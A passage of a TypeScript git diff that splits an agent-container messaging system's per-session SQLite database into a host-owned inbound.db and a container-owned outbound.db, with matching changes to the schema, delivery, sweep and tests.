console.log('\nmessages_out:'); + } catch (err) { + console.log(` (could not read inbound DB: ${err})`); + } + + try { + const outDb = new Database(outDbPath, { readonly: true }); + const outRows = outDb.prepare('SELECT * FROM messages_out').all() as Array>; + const ackRows = outDb.prepare('SELECT * FROM processing_ack').all() as Array>; + outDb.close(); + + console.log('\nmessages_out (outbound.db):'); for (const r of outRows) { const content = JSON.parse(r.content as string); console.log(` [${r.id}] kind=${r.kind}`); console.log(` → ${content.text}`); } + + console.log('\nprocessing_ack (outbound.db):'); + for (const r of ackRows) { + console.log(` [${r.message_id}] status=${r.status} changed=${r.status_changed}`); + } } catch (err) { - console.log(` (could not read session DB: ${err})`); + console.log(` (could not read outbound DB: ${err})`); } } diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index d5d0fa0..2fc183b 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -162,7 +162,7 @@ describe('channel + router integration', () => { it('should route inbound message from adapter to session DB', async () => { const { routeInbound } = await import('../router.js'); const { findSession } = await import('../db/sessions.js'); - const { sessionDbPath } = await import('../session-manager.js'); + const { inboundDbPath } = await import('../session-manager.js'); // Simulate what the adapter bridge does: stringify content, call routeInbound const inboundContent = { sender: 'TestUser', senderId: 'u1', text: 'Hello from adapter', isFromMe: false }; @@ -183,7 +183,7 @@ describe('channel + router integration', () => { const session = findSession('mg-1', null); expect(session).toBeDefined(); - const dbPath = sessionDbPath('ag-1', session!.id); + const dbPath = inboundDbPath('ag-1', session!.id); const db = new Database(dbPath); const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; content: string }>; db.close(); diff --git a/src/container-runner.ts b/src/container-runner.ts index cdbfadc..c3dce4d 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -19,7 +19,6 @@ import { markContainerIdle, markContainerRunning, markContainerStopped, - sessionDbPath, sessionDir, } from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; @@ -135,7 +134,7 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { const sessDir = sessionDir(agentGroup.id, session.id); const groupDir = path.resolve(GROUPS_DIR, agentGroup.folder); - // Session folder at /workspace (contains session.db, outbox/, .claude/) + // Session folder at /workspace (contains inbound.db, outbound.db, outbox/, .claude/) mounts.push({ hostPath: sessDir, containerPath: '/workspace', readonly: false }); // Agent group folder at /workspace/agent @@ -226,7 +225,10 @@ async function buildContainerArgs( // Environment args.push('-e', `TZ=${TIMEZONE}`); args.push('-e', `AGENT_PROVIDER=${session.agent_provider || agentGroup.agent_provider || 'claude'}`); - args.push('-e', `SESSION_DB_PATH=/workspace/session.db`); + // Two-DB split: container reads inbound.db, writes outbound.db + args.push('-e', 'SESSION_INBOUND_DB_PATH=/workspace/inbound.db'); + args.push('-e', 'SESSION_OUTBOUND_DB_PATH=/workspace/outbound.db'); + args.push('-e', 'SESSION_HEARTBEAT_PATH=/workspace/.heartbeat'); // Pass admin user ID and assistant name from messaging group/agent group if (session.messaging_group_id) { @@ -239,10 +241,22 @@ async function buildContainerArgs( args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); } - // OneCLI gateway - const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); - if (onecliApplied) { - log.debug('OneCLI gateway applied', { containerName }); + // OneCLI gateway — injects HTTPS_PROXY + certs so container API calls + // are routed through the agent vault for credential injection. + // Must ensureAgent first for non-admin groups, otherwise applyContainerConfig + // rejects the unknown agent identifier and returns false. + try { + if (agentIdentifier) { + await onecli.ensureAgent({ name: agentGroup.name, identifier: agentIdentifier }); + } + const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); + if (onecliApplied) { + log.info('OneCLI gateway applied', { containerName }); + } else { + log.warn('OneCLI gateway not applied — container will have no credentials', { containerName }); + } + } catch (err) { + log.warn('OneCLI gateway error — container will have no credentials', { containerName, err }); } // Host gateway diff --git a/src/db/schema.ts b/src/db/schema.ts index bf8ff19..b54210d 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -69,16 +69,21 @@ CREATE TABLE pending_questions ( `; /** - * Session DB schema — created fresh by the host for each session. + * Session DB schemas — split into two files so each has exactly one writer. + * This eliminates SQLite write contention across the host-container mount boundary. + * + * inbound.db — host writes, container reads (read-only mount or open read-only) + * outbound.db — container writes, host reads (read-only open) */ -export const SESSION_SCHEMA = ` + +/** Host-owned: inbound messages + delivery tracking. */ +export const INBOUND_SCHEMA = ` CREATE TABLE messages_in ( id TEXT PRIMARY KEY, seq INTEGER UNIQUE, kind TEXT NOT NULL, timestamp TEXT NOT NULL, status TEXT DEFAULT 'pending', - status_changed TEXT, process_after TEXT, recurrence TEXT, tries INTEGER DEFAULT 0, @@ -88,12 +93,21 @@ CREATE TABLE messages_in ( content TEXT NOT NULL ); +-- Host tracks which messages_out IDs have been delivered. +-- Avoids writing to outbound.db (container-owned). +CREATE TABLE delivered ( + message_out_id TEXT PRIMARY KEY, + delivered_at TEXT NOT NULL +); +`; + +/** Container-owned: outbound messages + processing acknowledgments. */ +export const OUTBOUND_SCHEMA = ` CREATE TABLE messages_out ( id TEXT PRIMARY KEY, seq INTEGER UNIQUE, in_reply_to TEXT, timestamp TEXT NOT NULL, - delivered INTEGER DEFAULT 0, deliver_after TEXT, recurrence TEXT, kind TEXT NOT NULL, @@ -102,4 +116,13 @@ CREATE TABLE messages_out ( thread_id TEXT, content TEXT NOT NULL ); + +-- Container tracks processing status here instead of updating messages_in. +-- Host reads this to know which messages have been processed. +-- On container startup, stale 'processing' entries are cleared (crash recovery). +CREATE TABLE processing_ack ( + message_id TEXT PRIMARY KEY, + status TEXT NOT NULL, + status_changed TEXT NOT NULL +); `; diff --git a/src/delivery.ts b/src/delivery.ts index 4a020f8..d74df75 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -1,6 +1,11 @@ /** * Outbound message delivery. - * Polls active session DBs for undelivered messages_out, delivers through channel adapters. + * Polls session outbound DBs for undelivered messages, delivers through channel adapters. + * + * Two-DB architecture: + * - Reads messages_out from outbound.db (container-owned, opened read-only) + * - Tracks delivery in inbound.db's `delivered` table (host-owned) + * - Never writes to outbound.db — preserves single-writer-per-file invariant */ import Database from 'better-sqlite3'; import fs from 'fs'; @@ -9,7 +14,7 @@ import path from 'path'; import { getRunningSessions, getActiveSessions, createPendingQuestion } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; -import { openSessionDb, sessionDir } from './session-manager.js'; +import { openInboundDb, openOutboundDb, sessionDir, inboundDbPath } from './session-manager.js'; import { resetContainerIdleTimer } from './container-runner.js'; import type { OutboundFile } from './channels/adapter.js'; import type { Session } from './types.js'; @@ -85,19 +90,21 @@ async function deliverSessionMessages(session: Session): Promise { const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) return; - let db: Database.Database; + let outDb: Database.Database; + let inDb: Database.Database; try { - db = openSessionDb(agentGroup.id, session.id); + outDb = openOutboundDb(agentGroup.id, session.id); + inDb = openInboundDb(agentGroup.id, session.id); } catch { - return; // Session DB might not exist yet + return; // DBs might not exist yet } try { - const undelivered = db + // Read all due messages from outbound.db (read-only) + const allDue = outDb .prepare( `SELECT * FROM messages_out - WHERE delivered = 0 - AND (deliver_after IS NULL OR deliver_after <= datetime('now')) + WHERE (deliver_after IS NULL OR deliver_after <= datetime('now')) ORDER BY timestamp ASC`, ) .all() as Array<{ @@ -109,19 +116,32 @@ async function deliverSessionMessages(session: Session): Promise { content: string; }>; + if (allDue.length === 0) return; + + // Filter out already-delivered messages using inbound.db's delivered table + const deliveredIds = new Set( + (inDb.prepare('SELECT message_out_id FROM delivered').all() as Array<{ message_out_id: string }>).map( + (r) => r.message_out_id, + ), + ); + const undelivered = allDue.filter((m) => !deliveredIds.has(m.id)); if (undelivered.length === 0) return; for (const msg of undelivered) { try { - await deliverMessage(msg, session); - db.prepare('UPDATE messages_out SET delivered = 1 WHERE id = ?').run(msg.id); + await deliverMessage(msg, session, inDb); + // Track delivery in inbound.db (host-owned) — not outbound.db + inDb.prepare("INSERT OR IGNORE INTO delivered (message_out_id, delivered_at) VALUES (?, datetime('now'))").run( + msg.id, + ); resetContainerIdleTimer(session.id); } catch (err) { log.error('Failed to deliver message', { messageId: msg.id, sessionId: session.id, err }); } } } finally { - db.close(); + outDb.close(); + inDb.close(); } } @@ -135,6 +155,7 @@ async function deliverMessage( content: string; }, session: Session, + inDb: Database.Database, ): Promise { if (!deliveryAdapter) { log.warn('No delivery adapter configured, dropping message', { id: msg.id }); @@ -143,10 +164,9 @@ async function deliverMessage( const content = JSON.parse(msg.content); - // System actions — handle internally + // System actions — handle internally (schedule_task, cancel_task, etc.) if (msg.kind === 'system') { - log.info('System action from agent', { sessionId: session.id, action: content.action }); - // TODO: handle system actions (register_group, reset_session, etc.) + await handleSystemAction(content, session, inDb); return; } @@ -207,6 +227,84 @@ async function deliverMessage( } } +/** + * Handle system actions from the container agent. + * These are written to messages_out because the container can't write to inbound.db. + * The host applies them to inbound.db here. + */ +async function handleSystemAction( + content: Record, + session: Session, + inDb: Database.Database, +): Promise { + const action = content.action as string; + log.info('System action from agent', { sessionId: session.id, action }); + + switch (action) { + case 'schedule_task': { + const taskId = content.taskId as string; + const prompt = content.prompt as string; + const script = content.script as string | null; + const processAfter = content.processAfter as string; + const recurrence = (content.recurrence as string) || null; + + // Compute next even seq for host-owned inbound.db + const maxSeq = ( + inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } + ).m; + const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); + + inDb + .prepare( + `INSERT INTO messages_in (id, seq, timestamp, status, tries, process_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, @seq, datetime('now'), 'pending', 0, @process_after, @recurrence, 'task', @platform_id, @channel_type, @thread_id, @content)`, + ) + .run({ + id: taskId, + seq: nextSeq, + process_after: processAfter, + recurrence, + platform_id: content.platformId ?? null, + channel_type: content.channelType ?? null, + thread_id: content.threadId ?? null, + content: JSON.stringify({ prompt, script }), + }); + log.info('Scheduled task created', { taskId, processAfter, recurrence }); + break; + } + + case 'cancel_task': { + const taskId = content.taskId as string; + inDb + .prepare("UPDATE messages_in SET status = 'completed' WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')") + .run(taskId); + log.info('Task cancelled', { taskId }); + break; + } + + case 'pause_task': { + const taskId = content.taskId as string; + inDb + .prepare("UPDATE messages_in SET status = 'paused' WHERE id = ? AND kind = 'task' AND status = 'pending'") + .run(taskId); + log.info('Task paused', { taskId }); + break; + } + + case 'resume_task': { + const taskId = content.taskId as string; + inDb + .prepare("UPDATE messages_in SET status = 'pending' WHERE id = ? AND kind = 'task' AND status = 'paused'") + .run(taskId); + log.info('Task resumed', { taskId }); + break; + } + + default: + log.warn('Unknown system action', { action }); + } +} + export function stopDeliveryPolls(): void { activePolling = false; sweepPolling = false; diff --git a/src/host-core.test.ts b/src/host-core.test.ts index 03ddd98..9dc711e 100644 --- a/src/host-core.test.ts +++ b/src/host-core.test.ts @@ -21,7 +21,8 @@ import { writeSessionMessage, initSessionFolder, sessionDir, - sessionDbPath, + inboundDbPath, + outboundDbPath, sessionsBaseDir, } from './session-manager.js'; import { getSession, findSession } from './db/sessions.js'; @@ -84,22 +85,29 @@ describe('session manager', () => { }); }); - it('should create session folder and DB', () => { + it('should create session folder and both DBs', () => { initSessionFolder('ag-1', 'sess-test'); const dir = sessionDir('ag-1', 'sess-test'); expect(fs.existsSync(dir)).toBe(true); expect(fs.existsSync(path.join(dir, 'outbox'))).toBe(true); - const dbPath = sessionDbPath('ag-1', 'sess-test'); - expect(fs.existsSync(dbPath)).toBe(true); + // Verify inbound.db + const inPath = inboundDbPath('ag-1', 'sess-test'); + expect(fs.existsSync(inPath)).toBe(true); + const inDb = new Database(inPath); + const inTables = inDb.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ name: string }>; + expect(inTables.map((t) => t.name)).toContain('messages_in'); + expect(inTables.map((t) => t.name)).toContain('delivered'); + inDb.close(); - // Verify session DB has the right tables - const db = new Database(dbPath); - const tables = db.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ name: string }>; - const tableNames = tables.map((t) => t.name); - expect(tableNames).toContain('messages_in'); - expect(tableNames).toContain('messages_out'); - db.close(); + // Verify outbound.db + const outPath = outboundDbPath('ag-1', 'sess-test'); + expect(fs.existsSync(outPath)).toBe(true); + const outDb = new Database(outPath); + const outTables = outDb.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ name: string }>; + expect(outTables.map((t) => t.name)).toContain('messages_out'); + expect(outTables.map((t) => t.name)).toContain('processing_ack'); + outDb.close(); }); it('should resolve to existing session (shared mode)', () => { @@ -124,7 +132,7 @@ describe('session manager', () => { expect(s2.id).toBe(s1.id); }); - it('should write message to session DB', () => { + it('should write message to inbound DB', () => { const { session } = resolveSession('ag-1', 'mg-1', null, 'shared'); writeSessionMessage('ag-1', session.id, { @@ -137,8 +145,8 @@ describe('session manager', () => { content: JSON.stringify({ sender: 'User', text: 'Hello' }), }); - // Read from the session DB - const dbPath = sessionDbPath('ag-1', session.id); + // Read from the inbound DB + const dbPath = inboundDbPath('ag-1', session.id); const db = new Database(dbPath); const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; @@ -223,8 +231,8 @@ describe('router', () => { const session = findSession('mg-1', null); expect(session).toBeDefined(); - // Verify message was written to session DB - const dbPath = sessionDbPath('ag-1', session!.id); + // Verify message was written to inbound DB + const dbPath = inboundDbPath('ag-1', session!.id); const db = new Database(dbPath); const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; content: string }>; db.close(); @@ -239,8 +247,6 @@ describe('router', () => { it('should auto-create messaging group for unknown platform', async () => { const { routeInbound } = await import('./router.js'); - // This platform ID isn't registered — but since there's no agent configured for it, - // it should create the messaging group but not route (no agents configured) const event: InboundEvent = { channelType: 'slack', platformId: 'C-NEW-CHANNEL', @@ -255,7 +261,6 @@ describe('router', () => { await routeInbound(event); - // Messaging group should be created const { getMessagingGroupByPlatform } = await import('./db/messaging-groups.js'); const mg = getMessagingGroupByPlatform('slack', 'C-NEW-CHANNEL'); expect(mg).toBeDefined(); @@ -285,7 +290,7 @@ describe('router', () => { // Both should be in the same session const session = findSession('mg-1', null); - const dbPath = sessionDbPath('ag-1', session!.id); + const dbPath = inboundDbPath('ag-1', session!.id); const db = new Database(dbPath); const rows = db.prepare('SELECT * FROM messages_in ORDER BY timestamp').all(); db.close(); @@ -295,7 +300,7 @@ describe('router', () => { }); describe('delivery', () => { - it('should detect undelivered messages in session DB', () => { + it('should detect undelivered messages in outbound DB', () => { createAgentGroup({ id: 'ag-1', name: 'Agent', @@ -317,16 +322,15 @@ describe('delivery', () => { const { session } = resolveSession('ag-1', 'mg-test', null, 'shared'); - // Write a response to the session DB (simulating what the agent-runner does) - const dbPath = sessionDbPath('ag-1', session.id); + // Write a response to the outbound DB (simulating what the agent-runner does) + const dbPath = outboundDbPath('ag-1', session.id); const db = new Database(dbPath); - db.pragma('journal_mode = WAL'); db.prepare( - `INSERT INTO messages_out (id, timestamp, delivered, kind, platform_id, channel_type, content) - VALUES ('out-1', datetime('now'), 0, 'chat', 'chan-123', 'discord', ?)`, + `INSERT INTO messages_out (id, timestamp, kind, platform_id, channel_type, content) + VALUES ('out-1', datetime('now'), 'chat', 'chan-123', 'discord', ?)`, ).run(JSON.stringify({ text: 'Agent response' })); - const undelivered = db.prepare('SELECT * FROM messages_out WHERE delivered = 0').all() as Array<{ + const undelivered = db.prepare('SELECT * FROM messages_out').all() as Array<{ id: string; content: string; }>; diff --git a/src/host-sweep.ts b/src/host-sweep.ts index 26a926f..5bd877e 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -1,10 +1,11 @@ /** * Host sweep — periodic maintenance of all session DBs. * - * - Wake containers for sessions with due messages (process_after) - * - Detect stale processing messages (container crash) → reset with backoff - * - Insert next occurrence for recurring messages - * - Kill idle containers past timeout + * Two-DB architecture: + * - Reads processing_ack from outbound.db to sync message status + * - Writes to inbound.db (host-owned) for status updates and recurrence + * - Uses heartbeat file mtime for stale container detection (not DB writes) + * - Never writes to outbound.db — preserves single-writer-per-file invariant */ import Database from 'better-sqlite3'; import fs from 'fs'; @@ -12,7 +13,7 @@ import fs from 'fs'; import { getActiveSessions, updateSession } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; -import { openSessionDb, sessionDbPath } from './session-manager.js'; +import { openInboundDb, openOutboundDb, inboundDbPath, outboundDbPath, heartbeatPath } from './session-manager.js'; import { wakeContainer, isContainerRunning } from './container-runner.js'; import type { Session } from './types.js'; @@ -52,21 +53,31 @@ async function sweepSession(session: Session): Promise { const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) return; - const dbPath = sessionDbPath(agentGroup.id, session.id); - if (!fs.existsSync(dbPath)) return; + const inPath = inboundDbPath(agentGroup.id, session.id); + if (!fs.existsSync(inPath)) return; - let db: Database.Database; + let inDb: Database.Database; + let outDb: Database.Database | null = null; try { - db = new Database(dbPath); - db.pragma('journal_mode = DELETE'); - db.pragma('busy_timeout = 5000'); + inDb = openInboundDb(agentGroup.id, session.id); } catch { return; } try { - // 1. Check for due pending messages → wake container - const dueMessages = db + outDb = openOutboundDb(agentGroup.id, session.id); + } catch { + // outbound.db might not exist yet (container hasn't started) + } + + try { + // 1. Sync processing_ack → messages_in status + if (outDb) { + syncProcessingAcks(inDb, outDb); + } + + // 2. Check for due pending messages → wake container + const dueMessages = inDb .prepare( `SELECT COUNT(*) as count FROM messages_in WHERE status = 'pending' @@ -79,90 +90,134 @@ async function sweepSession(session: Session): Promise { await wakeContainer(session); } - // 2. Detect stale processing messages - const staleMessages = db - .prepare( - `SELECT id, tries FROM messages_in - WHERE status = 'processing' - AND status_changed < datetime('now', '-${Math.floor(STALE_THRESHOLD_MS / 1000)} seconds')`, - ) - .all() as Array<{ id: string; tries: number }>; - - for (const msg of staleMessages) { - if (msg.tries >= MAX_TRIES) { - db.prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run( - msg.id, - ); - log.warn('Message marked as failed after max retries', { messageId: msg.id, sessionId: session.id }); - } else { - const backoffMs = BACKOFF_BASE_MS * Math.pow(2, msg.tries); - const backoffSec = Math.floor(backoffMs / 1000); - db.prepare( - `UPDATE messages_in SET status = 'pending', status_changed = datetime('now'), process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`, - ).run(msg.id); - log.info('Reset stale message with backoff', { messageId: msg.id, tries: msg.tries, backoffMs }); - } + // 3. Detect stale containers via heartbeat file + if (outDb) { + detectStaleContainers(inDb, outDb, session, agentGroup.id); } - // 3. Handle recurrence for completed messages - const completedRecurring = db - .prepare("SELECT * FROM messages_in WHERE status = 'completed' AND recurrence IS NOT NULL") - .all() as Array<{ - id: string; - kind: string; - content: string; - recurrence: string; - process_after: string | null; - platform_id: string | null; - channel_type: string | null; - thread_id: string | null; - }>; - - for (const msg of completedRecurring) { - try { - // Dynamic import to avoid loading cron-parser at module level - const { CronExpressionParser } = await import('cron-parser'); - const interval = CronExpressionParser.parse(msg.recurrence); - const nextRun = interval.next().toISOString(); - const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - // Compute next seq from both tables (same pattern as session-manager.ts) - const nextSeq = ( - db - .prepare( - `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( - SELECT seq FROM messages_in WHERE seq IS NOT NULL - UNION ALL - SELECT seq FROM messages_out WHERE seq IS NOT NULL - )`, - ) - .get() as { next: number } - ).next; - - db.prepare( - `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) - VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, - ).run( - newId, - nextSeq, - msg.kind, - nextRun, - msg.recurrence, - msg.platform_id, - msg.channel_type, - msg.thread_id, - msg.content, - ); - - // Remove recurrence from the completed message so it doesn't spawn again - db.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); - - log.info('Inserted next recurrence', { originalId: msg.id, newId, nextRun }); - } catch (err) { - log.error('Failed to compute next recurrence', { messageId: msg.id, recurrence: msg.recurrence, err }); - } - } + // 4. Handle recurrence for completed messages + handleRecurrence(inDb, session); } finally { - db.close(); + inDb.close(); + outDb?.close(); + } +} + +/** + * Sync completed/failed processing_ack entries → messages_in.status. + * Only syncs terminal states — 'processing' is handled by stale detection. + */ +function syncProcessingAcks(inDb: Database.Database, outDb: Database.Database): void { + const completed = outDb + .prepare("SELECT message_id FROM processing_ack WHERE status IN ('completed', 'failed')") + .all() as Array<{ message_id: string }>; + + if (completed.length === 0) return; + + // Batch-update messages_in status for completed/failed messages + const updateStmt = inDb.prepare( + "UPDATE messages_in SET status = 'completed' WHERE id = ? AND status != 'completed'", + ); + inDb.transaction(() => { + for (const { message_id } of completed) { + updateStmt.run(message_id); + } + })(); +} + +/** + * Detect stale containers using heartbeat file mtime. + * If the heartbeat is older than STALE_THRESHOLD and processing_ack has + * 'processing' entries, the container likely crashed — reset with backoff. + */ +function detectStaleContainers( + inDb: Database.Database, + outDb: Database.Database, + session: Session, + agentGroupId: string, +): void { + const hbPath = heartbeatPath(agentGroupId, session.id); + let heartbeatAge = Infinity; + try { + const stat = fs.statSync(hbPath); + heartbeatAge = Date.now() - stat.mtimeMs; + } catch { + // No heartbeat file — container may never have started, or it's very old + } + + if (heartbeatAge < STALE_THRESHOLD_MS) return; // Container is alive + + // Heartbeat is stale — check for stuck processing entries + const processing = outDb + .prepare("SELECT message_id FROM processing_ack WHERE status = 'processing'") + .all() as Array<{ message_id: string }>; + + if (processing.length === 0) return; + + for (const { message_id } of processing) { + const msg = inDb + .prepare('SELECT id, tries FROM messages_in WHERE id = ? AND status = ?') + .get(message_id, 'pending') as { id: string; tries: number } | undefined; + + if (!msg) continue; + + if (msg.tries >= MAX_TRIES) { + inDb.prepare("UPDATE messages_in SET status = 'failed' WHERE id = ?").run(msg.id); + log.warn('Message marked as failed after max retries', { messageId: msg.id, sessionId: session.id }); + } else { + const backoffMs = BACKOFF_BASE_MS * Math.pow(2, msg.tries); + const backoffSec = Math.floor(backoffMs / 1000); + inDb + .prepare( + `UPDATE messages_in SET tries = tries + 1, process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`, + ) + .run(msg.id); + log.info('Reset stale message with backoff', { messageId: msg.id, tries: msg.tries, backoffMs }); + } + } +} + +/** Insert next occurrence for completed recurring messages. */ +async function handleRecurrence(inDb: Database.Database, session: Session): Promise { + const completedRecurring = inDb + .prepare("SELECT * FROM messages_in WHERE status = 'completed' AND recurrence IS NOT NULL") + .all() as Array<{ + id: string; + kind: string; + content: string; + recurrence: string; + process_after: string | null; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + }>; + + for (const msg of completedRecurring) { + try { + const { CronExpressionParser } = await import('cron-parser'); + const interval = CronExpressionParser.parse(msg.recurrence); + const nextRun = interval.next().toISOString(); + const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + + // Host uses even seq numbers + const maxSeq = ( + inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } + ).m; + const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); + + inDb + .prepare( + `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) + VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, + ) + .run(newId, nextSeq, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + + // Remove recurrence from the completed message so it doesn't spawn again + inDb.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); + + log.info('Inserted next recurrence', { originalId: msg.id, newId, nextRun }); + } catch (err) { + log.error('Failed to compute next recurrence', { messageId: msg.id, recurrence: msg.recurrence, err }); + } } } diff --git a/src/session-manager.ts b/src/session-manager.ts index 64e1922..f24f620 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -1,6 +1,10 @@ /** * Session lifecycle management. * Creates session folders + DBs, writes messages, manages container status. + * + * Two-DB architecture: each session has inbound.db (host-owned) and outbound.db + * (container-owned). This eliminates SQLite write contention across the + * host-container mount boundary — each file has exactly one writer. */ import Database from 'better-sqlite3'; import fs from 'fs'; @@ -9,7 +13,7 @@ import path from 'path'; import { DATA_DIR } from './config.js'; import { createSession, findSession, getSession, updateSession } from './db/sessions.js'; import { log } from './log.js'; -import { SESSION_SCHEMA } from './db/schema.js'; +import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js'; import type { Session } from './types.js'; /** Root directory for all session data. */ @@ -22,9 +26,27 @@ export function sessionDir(agentGroupId: string, sessionId: string): string { return path.join(sessionsBaseDir(), agentGroupId, sessionId); } -/** Path to a session's SQLite DB. */ +/** Path to the host-owned inbound DB (messages_in + delivered). */ +export function inboundDbPath(agentGroupId: string, sessionId: string): string { + return path.join(sessionDir(agentGroupId, sessionId), 'inbound.db'); +} + +/** Path to the container-owned outbound DB (messages_out + processing_ack). */ +export function outboundDbPath(agentGroupId: string, sessionId: string): string { + return path.join(sessionDir(agentGroupId, sessionId), 'outbound.db'); +} + +/** Path to the container heartbeat file (touched instead of DB writes). */ +export function heartbeatPath(agentGroupId: string, sessionId: string): string { + return path.join(sessionDir(agentGroupId, sessionId), '.heartbeat'); +} + +/** + * @deprecated Use inboundDbPath / outboundDbPath instead. + * Kept temporarily for test compatibility during migration. + */ export function sessionDbPath(agentGroupId: string, sessionId: string): string { - return path.join(sessionDir(agentGroupId, sessionId), 'session.db'); + return inboundDbPath(agentGroupId, sessionId); } function generateId(): string { @@ -41,8 +63,6 @@ export function resolveSession( threadId: string | null, sessionMode: 'shared' | 'per-thread', ): { session: Session; created: boolean } { - // For shared mode, look for any active session with this messaging group (threadId ignored) - // For per-thread mode, look for an active session with this specific thread const lookupThreadId = sessionMode === 'shared' ? null : threadId; const existing = findSession(messagingGroupId, lookupThreadId); @@ -50,7 +70,6 @@ export function resolveSession( return { session: existing, created: false }; } - // Create new session const id = generateId(); const session: Session = { id, @@ -71,23 +90,32 @@ export function resolveSession( return { session, created: true }; } -/** Create the session folder and initialize the session DB. */ +/** Create the session folder and initialize both DBs. */ export function initSessionFolder(agentGroupId: string, sessionId: string): void { const dir = sessionDir(agentGroupId, sessionId); fs.mkdirSync(dir, { recursive: true }); fs.mkdirSync(path.join(dir, 'outbox'), { recursive: true }); - const dbPath = sessionDbPath(agentGroupId, sessionId); - if (!fs.existsSync(dbPath)) { - const db = new Database(dbPath); + const inPath = inboundDbPath(agentGroupId, sessionId); + if (!fs.existsSync(inPath)) { + const db = new Database(inPath); db.pragma('journal_mode = DELETE'); - db.exec(SESSION_SCHEMA); + db.exec(INBOUND_SCHEMA); db.close(); - log.debug('Session DB created', { dbPath }); + log.debug('Inbound DB created', { dbPath: inPath }); + } + + const outPath = outboundDbPath(agentGroupId, sessionId); + if (!fs.existsSync(outPath)) { + const db = new Database(outPath); + db.pragma('journal_mode = DELETE'); + db.exec(OUTBOUND_SCHEMA); + db.close(); + log.debug('Outbound DB created', { dbPath: outPath }); } } -/** Write a message to a session's messages_in table. */ +/** Write a message to a session's inbound DB (messages_in). Host-only. */ export function writeSessionMessage( agentGroupId: string, sessionId: string, @@ -103,22 +131,19 @@ export function writeSessionMessage( recurrence?: string | null; }, ): void { - const dbPath = sessionDbPath(agentGroupId, sessionId); + const dbPath = inboundDbPath(agentGroupId, sessionId); const db = new Database(dbPath); db.pragma('journal_mode = DELETE'); + db.pragma('busy_timeout = 5000'); try { - const nextSeq = ( - db - .prepare( - `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( - SELECT seq FROM messages_in WHERE seq IS NOT NULL - UNION ALL - SELECT seq FROM messages_out WHERE seq IS NOT NULL - )`, - ) - .get() as { next: number } - ).next; + // Host uses even seq numbers, container uses odd — prevents collisions + // across the two-DB boundary without cross-DB coordination. + const maxSeq = ( + db.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } + ).m; + const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); // next even + db.prepare( `INSERT INTO messages_in (id, seq, kind, timestamp, status, platform_id, channel_type, thread_id, content, process_after, recurrence) VALUES (@id, @seq, @kind, @timestamp, 'pending', @platformId, @channelType, @threadId, @content, @processAfter, @recurrence)`, @@ -138,18 +163,33 @@ export function writeSessionMessage( db.close(); } - // Update last_active updateSession(sessionId, { last_active: new Date().toISOString() }); } -/** Open a session DB for reading (e.g., polling messages_out). */ -export function openSessionDb(agentGroupId: string, sessionId: string): Database.Database { - const dbPath = sessionDbPath(agentGroupId, sessionId); +/** Open the inbound DB for a session (host reads/writes). */ +export function openInboundDb(agentGroupId: string, sessionId: string): Database.Database { + const dbPath = inboundDbPath(agentGroupId, sessionId); const db = new Database(dbPath); db.pragma('journal_mode = DELETE'); + db.pragma('busy_timeout = 5000'); return db; } +/** Open the outbound DB for a session (host reads only). */ +export function openOutboundDb(agentGroupId: string, sessionId: string): Database.Database { + const dbPath = outboundDbPath(agentGroupId, sessionId); + const db = new Database(dbPath, { readonly: true }); + db.pragma('busy_timeout = 5000'); + return db; +} + +/** + * @deprecated Use openInboundDb / openOutboundDb instead. + */ +export function openSessionDb(agentGroupId: string, sessionId: string): 